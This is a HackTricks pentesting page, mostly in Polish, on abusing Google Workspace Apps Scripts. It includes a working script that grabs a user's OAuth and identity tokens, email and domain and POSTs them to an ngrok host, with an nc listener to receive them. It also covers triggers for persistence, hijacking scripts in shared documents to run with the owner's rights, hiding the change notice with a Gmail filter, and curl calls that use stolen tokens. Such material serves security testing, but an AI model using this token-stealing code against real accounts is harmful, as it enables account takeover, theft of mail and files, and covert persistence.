GWS - App Scripts

Support HackTricks

App Scripts

App Scripts to kod, który zostanie uruchomiony, gdy użytkownik z uprawnieniami edytora uzyska dostęp do dokumentu, z którym jest powiązany App Script i po zaakceptowaniu monitu OAuth. Mogą być również ustawione do wykonywania co pewien czas przez właściciela App Script (Persistence).

Create App Script

Istnieje kilka sposobów na stworzenie App Script, chociaż najczęstsze to z dokumentu Google (dowolnego typu) oraz jako projekt samodzielny:

Create a container-bound project from Google Docs, Sheets, or Slides
  1. Otwórz dokument Docs, arkusz Sheets lub prezentację Slides.

  2. Kliknij Rozszerzenia > Google Apps Script.

  3. W edytorze skryptów kliknij Bez tytułu projektu.

  4. Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.

Create a standalone project

Aby stworzyć projekt samodzielny z Apps Script:

  1. Przejdź do script.google.com.

  2. Kliknij dodaj Nowy projekt.

  3. W edytorze skryptów kliknij Bez tytułu projektu.

  4. Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.

Create a standalone project from Google Drive
  1. Otwórz Google Drive.

  2. Kliknij Nowy > Więcej > Google Apps Script.

Create a container-bound project from Google Forms
  1. Otwórz formularz w Google Forms.

  2. Kliknij Więcej more_vert > Edytor skryptów.

  3. W edytorze skryptów kliknij Bez tytułu projektu.

  4. Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.

Create a standalone project using the clasp command line tool

clasp to narzędzie wiersza poleceń, które pozwala tworzyć, pobierać/wysyłać i wdrażać projekty Apps Script z terminala.

Zobacz Przewodnik po interfejsie wiersza poleceń z użyciem clasp po więcej szczegółów.

App Script Scenario

Create Google Sheet with App Script

Zacznij od stworzenia App Script, moją rekomendacją w tym scenariuszu jest stworzenie arkusza Google i przejście do Rozszerzenia > App Scripts, to otworzy nowy App Script powiązany z arkuszem.

Leak token

Aby uzyskać dostęp do tokena OAuth, musisz kliknąć Usługi + i dodać zakresy takie jak:

  • AdminDirectory: Uzyskaj dostęp do użytkowników i grup w katalogu (jeśli użytkownik ma wystarczające uprawnienia)

  • Gmail: Aby uzyskać dostęp do danych gmail

  • Drive: Aby uzyskać dostęp do danych dysku

  • Google Sheets API: Aby działało z wyzwalaczem

Aby samodzielnie zmienić potrzebne zakresy, możesz przejść do ustawień projektu i włączyć: Pokaż plik manifestu "appsscript.json" w edytorze.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Aby przechwycić żądanie, wystarczy uruchomić:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

Gdy zostanie złożone zewnętrzne żądanie, okno OAuth również poprosi o pozwolenie na dostęp do zewnętrznych punktów końcowych.

Create Trigger

Po odczytaniu aplikacji kliknij na ⏰ Triggers, aby utworzyć wyzwalacz. Jako funkcję do uruchomienia wybierz getToken, uruchamiaj w wdrożeniu Head, w źródle zdarzenia wybierz From spreadsheet a w typie zdarzenia wybierz On open lub On edit (zgodnie z Twoimi potrzebami) i zapisz.

Zauważ, że możesz sprawdzić wykonywanie skryptów aplikacji w zakładce Wykonania, jeśli chcesz coś zdebugować.

Sharing

Aby wyzwolić App Script, ofiara musi połączyć się z dostępem edytora.

Token użyty do wykonania App Script będzie tokenem twórcy wyzwalacza, nawet jeśli plik jest otwarty jako edytor przez innych użytkowników.

Abusing Shared With Me documents

Jeśli ktoś udostępnił Ci dokument z App Scripts i wyzwalaczem używającym Head skryptu aplikacji (nie stałego wdrożenia), możesz zmodyfikować kod App Script (dodając na przykład funkcje kradnące token), uzyskać do niego dostęp, a App Script zostanie wykonany z uprawnieniami użytkownika, który udostępnił Ci dokument! (zauważ, że token OAuth właściciela będzie miał zakresy dostępu nadane w momencie tworzenia wyzwalacza).

Powiadomienie zostanie wysłane do twórcy skryptu informujące, że ktoś zmodyfikował skrypt (co powiesz na użycie uprawnień gmaila do wygenerowania filtru, aby zapobiec powiadomieniu?)

Jeśli atakujący zmodyfikuje zakresy App Script, aktualizacje nie zostaną zastosowane do dokumentu, dopóki nie zostanie utworzony nowy wyzwalacz z wprowadzonymi zmianami. Dlatego atakujący nie będzie w stanie ukraść tokena właściciela z większymi zakresami niż te, które ustawił w wyzwalaczu, który stworzył.

Copying instead of sharing

Gdy tworzysz link do udostępnienia dokumentu, tworzony jest link podobny do tego: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Jeśli zmienisz końcówkę "/edit" na "/copy", zamiast uzyskać do niego dostęp, Google zapyta, czy chcesz wygenerować kopię dokumentu:

Jeśli użytkownik skopiuje go i uzyska do niego dostęp, zarówno zawartość dokumentu, jak i App Scripts zostaną skopiowane, jednak wyzwalacze nie, dlatego nic nie zostanie wykonane.

Sharing as Web Application

Zauważ, że możliwe jest również udostępnienie App Script jako aplikacji internetowej (w edytorze App Script, wdroż jako aplikację internetową), ale pojawi się powiadomienie takie jak to:

Po tym nastąpi typowe okno OAuth proszące o potrzebne uprawnienia.

Testing

Możesz przetestować zebrany token, aby wylistować e-maile za pomocą:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Lista kalendarza użytkownika:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script jako Utrzymanie

Jedną z opcji na utrzymanie byłoby utworzenie dokumentu i dodanie wyzwalacza dla funkcji getToken oraz udostępnienie dokumentu atakującemu, aby za każdym razem, gdy atakujący otworzy plik, ekstrahował token ofiary.

Możliwe jest również stworzenie App Script i ustawienie go tak, aby wyzwalał się co X czasu (na przykład co minutę, godzinę, dzień...). Atakujący, który **skompromentował dane uwierzytelniające lub sesję ofiary, mógłby ustawić wyzwalacz czasowy App Script i codziennie ujawniać bardzo uprzywilejowany token OAuth:

Po prostu utwórz App Script, przejdź do Wyzwalaczy, kliknij Dodaj Wyzwalacz i wybierz jako źródło zdarzenia Czasowe oraz wybierz opcje, które najlepiej Ci odpowiadają:

To spowoduje utworzenie powiadomienia o bezpieczeństwie w formie e-maila oraz wiadomości push na Twoim telefonie, informującej o tym.

Ominięcie Niezatwierdzonego Monitu w Udostępnionym Dokumencie

Ponadto, jeśli ktoś udostępnił Ci dokument z dostępem edytora, możesz generować App Scripts wewnątrz dokumentu, a WŁAŚCICIEL (twórca) dokumentu będzie właścicielem App Script.

To oznacza, że twórca dokumentu będzie się pojawiał jako twórca każdego App Script, który ktokolwiek z dostępem edytora utworzy wewnątrz niego.

To również oznacza, że App Script będzie zaufany przez środowisko Workspace twórcy dokumentu.

To również oznacza, że jeśli App Script już istniał i ludzie przyznali dostęp, każdy z uprawnieniami Edytora w dokumencie może zmodyfikować go i nadużyć tego dostępu. Aby nadużyć tego, potrzebujesz również, aby ludzie wyzwalali App Script. A jednym z fajnych trików jest opublikowanie skryptu jako aplikacji internetowej. Gdy ludzie, którzy już przyznali dostęp do App Script, odwiedzą stronę internetową, wyzwolą App Script (to również działa przy użyciu tagów <img>).

Wsparcie HackTricks

Last updated